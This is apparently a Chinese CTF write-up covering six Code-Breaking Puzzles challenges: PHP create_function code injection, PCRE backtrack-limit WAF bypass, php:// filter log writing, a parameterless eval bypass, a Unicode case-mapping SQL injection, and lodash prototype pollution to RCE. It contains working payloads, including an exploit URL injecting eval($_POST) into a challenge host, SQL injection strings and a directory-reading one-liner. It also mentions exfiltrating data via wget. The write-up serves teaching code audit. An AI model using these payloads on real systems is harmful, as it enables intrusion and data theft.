作者:LoRexxar'@知道創宇404實驗室
時間:2018年12月7日

@phith0n 在代碼審計小密圈二周年的時候發起了Code-Breaking Puzzles挑戰賽,其中包含了php、java、js、python各種硬核的代碼審計技巧。在研究復現the js的過程中,我花費了大量的精力,也逐漸找到代碼審計的一些技巧,這里主要分享了5道ez題目和1道hard的the js這道題目的writeup,希望閱讀本文的你可以從題目中學習到屬于代碼審計的思考邏輯和技巧。

easy - function

  <?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

思路還算是比較清晰,正則很明顯,就是要想辦法在函數名的頭或者尾找一個字符,不影響函數調用。

簡單實驗了一下沒找到,那就直接fuzz起來吧

很容易就fuzz到了就是\這個符號

后來稍微翻了翻別人的writeup,才知道原因,在PHP的命名空間默認為\,所有的函數和類都在\這個命名空間中,如果直接寫函數名function_name()調用,調用的時候其實相當于寫了一個相對路徑;而如果寫\function_name() 這樣調用函數,則其實是寫了一個絕對路徑。如果你在其他namespace里調用系統類,就必須寫絕對路徑這種寫法。

緊接著就到了如何只控制第二個參數來執行命令的問題了,后來找到可以用create_function來完成,create_function的第一個參數是參數,第二個參數是內容。

函數結構形似

create_function('$a,$b','return 111')

==>

function a($a, $b){
    return 111;
}

然后執行,如果我們想要執行任意代碼,就首先需要跳出這個函數定義。

create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
    return 111;}phpinfo();//
}

這樣一來,我們想要執行的代碼就會執行

exp

http://51.158.75.42:8087/?action=%5Ccreate_function&arg=return%202333;%7Deval($_POST%5B%27ddog%27%5D);%2f%2f

easy pcrewaf

 <?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

這題自己研究的時候沒想到怎么做,不過思路很清楚,文件名不可控,唯一能控制的就是文件內容。

所以問題的癥結就在于如何繞過這個正則表達式。

/<\?.*[(`;?>].*/is

簡單來說就是<后面不能有問號,<?后面不能有(;?>反引號,但很顯然,這是不可能的,最少執行函數也需要括號才行。從常規的思路肯定不行

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

之后看ph師傅的文章我們看到了問題所在,pcre.backtrack_limit這個配置決定了在php中,正則引擎回溯的層數。而這個值默認是1000000.

而什么是正則引擎回溯呢?

在正則中.*表示匹配任意字符任意位,也就是說他會匹配所有的字符,而正則引擎在解析正則的時候必然是逐位匹配的,對于

<?php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa

這段代碼來說

首先<匹配<
然后?匹配?
然后.*會直接匹配到結尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
緊接著匹配[(`;?>],問題出現了,上一步匹配到了結尾,后面沒有滿足要求的符號了。

從這里開始正則引擎就開始逐漸回溯,知道符合要求的;出現為止

但很顯然,服務端不可能不做任何限制,不然如果post一個無限長的數據,那么服務端就會浪費太多的資源在這里,所以就有了pcre.backtrack_limit,如果回溯次數超過100萬次,那么匹配就會結束,然后跳過這句語句。

回到題目來看,如果能夠跳過這句語句,我們就能上傳任意文件內容了!

所以最終post就是傳一個內容為

<?php phpinfo();//a*1000000

對于任何一種引擎來說都涉及到這個問題,尤其對于文件內容來說,沒辦法控制文件的長度,也就不可避免的會出現這樣的問題。

對于PHP來說,有這樣一個解決辦法,在php的正則文檔中提到這樣一個問題

preg_match返回的是匹配到的次數,如果匹配不到會返回0,如果報錯就會返回false

所以,對preg_match來說,只要對返回結果有判斷,就可以避免這樣的問題。

easy - phpmagic

題目代碼簡化之后如下

 <?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
endif; ?>

稍微閱讀一下代碼不難發現問題有幾個核心點

1、沒辦法完全控制dig的返回,由于沒辦法命令注入,所以這里只能執行dig命令,唯一能控制的就是dig的目標,而且返回在顯示之前還轉義了尖括號,所以

; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q 1232321321
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;1232321321.            IN  A

;; AUTHORITY SECTION:
.           10800   IN  SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400

;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE  rcvd: 103

2、in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)這句過濾真的很嚴格,實在的講沒有什么直白的繞過辦法。

3、log前面會加上$_SERVER['SERVER_NAME']

第一點真的是想不到,是看了別人的wp才想明白這個關鍵點 http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

之前做題的時候曾經遇到過類似的問題,可以通過解base64來隱藏自己要寫入的內容繞過過濾,然后php在解析的時候會忽略各種亂碼,只會從<?php開始,所以其他的亂碼都不會影響到內容,唯一要注意的就是base64是4位一解的,主要不要把第一位打亂掉。

簡單測試一下

$output = <<<EOT
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q "$domain"
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 43507
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;1232321321.            IN  A

;; AUTHORITY SECTION:
.           10800   IN  SOA a.root-servers.net. nstld.verisign-grs.com. 2018112800 1800 900 604800 86400

;; Query time: 449 msec
;; SERVER: 127.0.0.11#53(127.0.0.11)
;; WHEN: Wed Nov 28 08:26:15 UTC 2018
;; MSG SIZE  rcvd: 103

EOT;

$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
var_dump($output);
var_dump(base64_decode($output));

這樣一來我們就能控制文件內容了,而且可以注入<?php

接下來就是第二步,怎么才能控制logname為調用php偽協議呢?

問題就在于我們如何控制$_SERVER['SERVER_NAME'],而這個值怎么定是不一定的,這里在這個題目中是取自了頭中的host。

這樣一來頭我們可以控制了,我們就能調用php偽協議了,那么怎么繞過后綴限制呢?

這里用了之前曾經遇到過的一個技巧(老了記性不好,翻了半天也沒找到是啥比賽遇到的),test.php/.就會直接調用到test.php

通過這個辦法可以繞過根據.來分割后綴的各種限制條件,同樣也適用于當前環境下。

最終poc:

easy - phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

這個代碼就簡單多了,簡單來說就是只能執行一個函數,但不能設置參數,這題最早出現是在RCTF2018中

https://lorexxar.cn/2018/05/23/rctf2018/

在原來的題目中是用next(getallheaders())繞過這個限制的。

但這里getallheaders是apache中的函數,這里是nginx環境,所以目標就是找一個函數其返回的內容是可以控制的就可以了。

問題就在于這種函數還不太好找,首先nginx中并沒有能獲取all header的函數。

所以目標基本就鎖定在會不會有獲取cookie,或者所有變量這種函數。在看別人writeup的時候知道了get_defined_vars這個函數

http://php.net/manual/zh/function.get-defined-vars.php

他會打印所有已定義的變量(包括全局變量GET等)。簡單翻了翻PHP的文檔也沒找到其他會涉及到可控變量的

在原wp中有一個很厲害的操作,直接reset所有的變量。

http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

然后只有當前get賦值,那么就只剩下get請求的變量了

后面就簡單了拼接就好了

然后...直接列目錄好像也是個不錯的辦法2333

code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

easy - nodechr

nodejs的一個小問題,關鍵代碼如下

function safeKeyword(keyword) {
    if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
        return keyword
    }

    return undefined
}

async function login(ctx, next) {
    if(ctx.method == 'POST') {
        let username = safeKeyword(ctx.request.body['username'])
        let password = safeKeyword(ctx.request.body['password'])

        let jump = ctx.router.url('login')
        if (username && password) {
            let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)

            if (user) {
                ctx.session.user = user

                jump = ctx.router.url('admin')
            }

        }

        ctx.status = 303
        ctx.redirect(jump)
    } else {
        await ctx.render('index')
    }
}

這里的注入應該是比較清楚的,直接拼接進查詢語句沒什么可說的。

然后safekeyword過濾了select union -- ;這四個,下面的邏輯其實說簡單的就一句

c = `SELECT * FROM "users" WHERE "username" = '${a.toUpperCase()}' AND "password" = '${b.toUpperCase()}'`

如何構造這句來查詢flag,開始看到題一味著去想盲注的辦法了,后來想明白一點,在注入里,沒有select是不可能去別的表里拿數據的,而題目一開始很明確的表明flag在flag表中。

所以問題就又回到了最初的地方,如何繞過safekeyword的限制。

ph師傅曾經寫過一篇文章 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

在js中部分字符會在toLowerCase和toUpperCase處理的時候發生難以想象的變化

"?"、"?"這兩個字符在變大寫的時候會變成I和S
"?"這個字符在變小寫的時候會變成k

用在這里剛好合適不過了。

username=ddog
password=' un?on ?elect 1,flag,3 where '1'='1

hard - thejs

javascript真難....

關鍵代碼以及注釋如下

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //對post請求的請求體進行解析
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16), // 隨機數
    resave: false,
    saveUninitialized: false
}))
app.engine('ejs', function (filePath, options, callback) { // 模板引擎
    fs.readFile(filePath, (err, content) => {   //讀文件 filepath
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)  //模板化
        let rendered = compiled({...options})   //動態引入變量

        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body) // merge 合并字典
        req.session.data = data
    }

    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

由于對node不熟,初看代碼的時候簡單研究了一下各個部分都是干嘛的。然后就發現整個站幾乎沒什么功能,就是獲取輸入然后取其中固定的輸出,起碼就自己寫的代碼來說不可能有問題。

再三思考下覺得可能問題在引入的包中...比較明顯的就是lodash.merge這句,這句代碼在這里非常刻意,于是就順著這個思路去想,簡單翻了一下代碼發現沒什么收獲。后來@spine給了我一個鏈接

https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf

js特性

首先我們可以先回顧一下js的一部分特性。

由于js非常面向對象的編程特性,js有很多神奇的操作。

在js中你可以用各種方式操作自己的對象。

在js中,所有的對象都是從各種基礎對象繼承下來的,所以每個對象都有他的父類,通過prototype可以直接操作修改父類的對象。

而且子類會繼承父類的所有方法

在js中,每個對象都有兩個魔術方法,一個是constructor另一個是__proto__

對于實例來說,constructor代表其構造函數,像前面說的一樣,函數可以通過prototype獲取其父對象

function myclass () {}

myclass.prototype.myfunc = function () {return 233;}

var inst = new myclass();

inst.constructor // return function myclass
inst.constructor.prototype // return the prototype of myclass
inst.constructor.prototype.myfunc() // return 233

而另一個魔術方法__proto__就等價于.constructor.prototype

由于子類會繼承父類的所有方法,所以如果在當前對象中找不到該方法,就會到父類中去找,直到找不到才會爆錯

在復習了上面的特性之后,我們回到這個漏洞

回到漏洞

在漏洞分析文中提到了這樣一種方式

https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf

假設對于語句

obj[a][b][c] = value

如果我們控制a為constructor,b為prototype,c為某個key,我們是不是就可以為這個對象父類初始化某個值,這個值會被繼承到當前對象。同理如果a為__proto__,b也為__proto__,那么我們就可以為基類Object定義某個值。

當然這種代碼不會隨時都出現,所以在實際場景下,這種攻擊方式會影響什么樣的操作呢。

首先我們需要理解的就是,我們想辦法賦值的__proto__對象并不是真正的這個對象,如圖

所以想要寫到真正的__proto__中,我們需要一層賦值,就如同原文范例代碼中的那樣

通過這樣的操作,我們就可以給Object基類定義一個變量名。

由于子類會繼承父類的所有方法,但首先需要保證子類沒有定義這個變量,因為只有當前類沒有定義這個變量,才會去父類尋找

在js代碼中,經常能遇到這樣的代碼

if (!obj.aaa){
    ...
}

這種情況下,js會去調用obj的aaa方法,如果aaa方法undefined,那么就會跟入到obj的父類中(js不會直接報該變量未定義并終止)。

這種情況下,我們通過定義obj的基類Object的aaa方法,就能操作這個變量,改變原來的代碼走向。

最后讓我們回到題目中來。

回到題目

回到題目中,這下代碼的問題點很清楚了。整個代碼有且只有1個輸入點也就是req.body,這個變量剛好通過lodash.merge合并.

這里的lodash.merge剛好也就是用于將兩個對象合并,成功定義了__proto__對象的變量。

我們也可以通過上面的技巧去覆蓋某個值,但問題來了,我們怎么才能getshell呢?

順著這個思路,我需要在整個代碼中尋找一個,在影響Object之后,且可以執行命令的地方。

很幸運的是,雖然我沒有特別研究明白nodejs,但我還是發現模板是動態生成的。

這里的代碼是在請求后完成的(動態渲染?)

跟入到template函數中,可以很清楚的看到

接下來就是這一大串代碼中尋找一個可以影響的變量,我們的目標是找一個未定義的變量,且后面有判斷調用它

這里的sourceURL剛好符合這個條件,我們直接跟入前面的options定義處,進入函數一直跟下去,直到lodash.js的3515行。

可以看到object本身沒有這個方法,但仍然遍歷到了,成功注入了這個變量,緊接著渲染模板就成功執行代碼了。

完成攻擊

其實發現可以注入代碼之后就簡單了,我朋友說他不能用child_process來執行命令,我測試了一下發現是可以的,只是不能彈shell回來不知道怎么回事。思考了一下決定直接wget外帶數據出來吧。

poc

需要注意一定要是json格式,否則__proto__會解成字符串,開始坑了很久。

直接偷懶用ceye接請求,其實用什么都行


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/755/